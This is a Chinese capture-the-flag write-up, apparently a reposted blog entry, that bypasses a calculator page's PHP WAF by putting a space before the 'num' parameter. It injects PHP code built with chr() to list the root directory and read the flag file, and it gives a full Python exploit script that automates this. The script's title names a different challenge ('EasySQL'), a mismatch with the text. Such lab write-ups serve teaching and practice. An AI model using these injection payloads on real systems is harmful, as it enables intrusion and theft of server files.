本文共 2129 字,大约阅读时间需要 7 分钟。
启动靶机,打开页面:
一个简单的计算器页面,查看网页源码: 提示设置了WAF以确保安全,尝试访问calc.php
: 得到了WAF源码,分析代码: num
的值黑名单
的值num
中有黑名单包括的符号,将终止程序num
的内容根据PHP的解析规则:如果变量前面有空格,会去掉前面的空格再解析
WAF限制了参数num
,将传入的参数'num'
前添加空格
,即'? num'
可绕过WAF的判断,将字符/
使用char(47)
表示:
? num=1;var_dump(scandir(chr(47)))在返回的文件中有
f1agg
文件,将其转化为ASCII
编码,使用file_get_contents()
函数读取文件: ? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))得到
flag
EXP如下:
# -*- coding:utf-8 -*-# name: Meng# mail: 614886708@qq.com# ctf_exp03: [SUCTF 2019] EasySQLimport requestsimport reclass Calculator: def __init__(self, url_input): # 对输入的url做补全与检验 self.url = url_input if self.url.endswith('/'): self.url = url_input + 'calc.php' elif re.compile(r".*[0-9]$").match(self.url): self.url = url_input + '/calc.php' elif self.url.endswith('calc.php'): pass else: print('链接有误! 请重试!') exit() self.flag = '' # flag self.s = requests.Session() def bypass_waf(self): # 如果传入的变量num中有黑名单包括的符号,将终止程序,否则将输出num的内容 # PHP的解析规则:如果变量前面有空格,会去掉前面的空格再解析 # 根据规则构造传参 while True: try: # 查看文件列表回显 source_dir = self.s.get(self.url + '? num=1;var_dump(scandir(chr(47)))').text if re.search(r'f1agg', source_dir).group() is None: print('未发现文件列表回显! 请检查重试!') exit() # 使用 file_get_contents() 函数读取文件 data = '? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))' source_flag = self.s.get(self.url + data).text self.flag = re.search(r'flag\{.+\}', source_flag).group() except: print('未发现flag! 请重试!') exit() else: break def run(self): self.bypass_waf() return self.flagif __name__ == '__main__': print('ctf_exp03: [SUCTF 2019] EasySQL') url_input = input('请输入题目链接:') print(Calculator(url_input).run()) input() # 防止退出cmd
输入题目链接,得到flag:
转载地址:http://hcraf.baihongyu.com/